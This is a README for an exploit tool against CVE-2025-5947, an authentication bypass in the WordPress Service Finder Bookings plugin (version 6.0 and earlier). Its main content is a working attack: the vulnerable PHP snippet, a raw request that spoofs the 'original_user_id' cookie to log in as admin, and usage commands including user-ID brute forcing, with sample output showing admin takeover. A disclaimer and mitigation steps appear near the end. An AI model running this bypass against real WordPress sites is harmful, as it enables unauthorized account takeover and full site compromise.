CVE-2025-5947

CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit

CVE-2025-5947 Exploit - Service Finder Bookings

Exploit tool for authentication bypass vulnerability in WordPress Service Finder Bookings ≤ 6.0 plugin

📋 Table of Contents

• About the Vulnerability
• Technical Details
• Installation
• Usage
• Examples
• Results
• Security
• References

🔴 About the Vulnerability

CVE-2025-5947

A critical authentication bypass vulnerability exists in Service Finder Bookings WordPress plugin version 6.0 and earlier.

🎯 Impact

Unauthenticated attackers can:

• ✅ Log in as any user
• ✅ Gain access to admin accounts
• ✅ Obtain full system control
• ✅ Conduct data exfiltration
• ✅ Upload malicious code

🔍 Technical Details

Root Cause

The service_finder_switch_back() function has insufficient cookie validation:

// Insecure code
if(isset($_COOKIE['original_user_id'])) {
    $user_id = $_COOKIE['original_user_id'];
    wp_set_current_user($user_id);
    // No validation!
}

Attack Vector

GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1

Attack Characteristics:

• 🌐 Remote Access (AV:N)
• 🔓 No Authentication Required (PR:N)
• 👤 No User Interaction (UI:N)
• 📊 Full Impact (C:H, I:H, A:H)

📦 Installation

Requirements

• Python 3.6+
• requests library

Step 1: Clone the Repository

git clone https://github.com/xxconi/CVE-2025-5947.git
cd CVE-2025-5947

Step 2: Install Dependencies

pip install -r requirements.txt

Step 3: Run

python exploit.py -u http://target.com

🚀 Usage

Basic Commands

# Show help
python exploit.py -h

# Try to log in as admin (ID=1)
python exploit.py -u http://target.com

# With a specific user ID
python exploit.py -u http://target.com -i 5

# Brute force (ID 1-10)
python exploit.py -u http://target.com -b 1-10

# Without SSL verification
python exploit.py -u http://target.com --no-ssl-verify

# With custom timeout
python exploit.py -u http://target.com -t 30

Parameters

💡 Examples

Example 1: Basic Exploit

python exploit.py -u http://wordpress.local

Output:

============================================================
CVE-2025-5947 Service Finder Bookings Exploit
Authentication Bypass via Cookie Spoofing
============================================================
✅ Service Finder Bookings plugin found

🔍 Attempting login with user ID 1...
📊 HTTP Status: 302
📋 Response Headers:
   Location: http://wordpress.local/wp-admin/
   Set-Cookie: wordpress_logged_in_abc123=...

✅ SUCCESS! Logged in as admin!
📍 Redirect: http://wordpress.local/wp-admin/

Example 2: Brute Force

python exploit.py -u http://target.com -b 1-20

Output:

🔄 Brute Force Starting (20 users)...
✅ User ID 1: SUCCESS
❌ User ID 2: Failed
✅ User ID 3: SUCCESS
...
✅ Successful Users: [1, 3, 5]

Example 3: HTTPS with SSL Verification Disabled

python exploit.py -u https://target.com --no-ssl-verify

📊 Results

A successful exploit includes the following indicators:

✅ HTTP 301 or 302 response code
✅ Location header containing /wp-admin/
✅ Set-Cookie header containing wordpress_logged_in_

🛡️ Security

⚠️ Legal Disclaimer

This tool is intended only for:

• ✅ Authorized security testing
• ✅ Your own systems
• ✅ With written permission

Use responsibly. The author is not liable.

🔐 Mitigation Steps

1. Urgent Update

   root@kitploit:~

   # Update from WordPress admin panel
   # or via WP-CLI
   wp plugin update sf-booking
   

2. Deactivate the Plugin

   root@kitploit:~

   wp plugin deactivate sf-booking
   

3. Remove the Plugin

   root@kitploit:~

   wp plugin delete sf-booking
   

4. Web Application Firewall (WAF)

   root@kitploit:~

   Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back
   

5. Security Check

   • Check admin accounts
   • Review access logs
   • Investigate unauthorized logins

📚 References

• Patchstack Database
• GitHub Advisory
• NVD Details
• Original Exploit
• CVSS Calculator

🤝 Contributing

To report bugs or suggest improvements:

1. Fork it
2. Create a feature branch (git checkout -b feature/improvement)
3. Commit your changes (git commit -am 'Add improvement')
4. Push to the branch (git push origin feature/improvement)
5. Open a Pull Request

📄 License

MIT License - See LICENSE file for details

👤 Author

Security Researcher

• GitHub: @yourusername

🙏 Acknowledgements

• Patchstack Security Team
• WordPress Security Community
• CVE Coordinators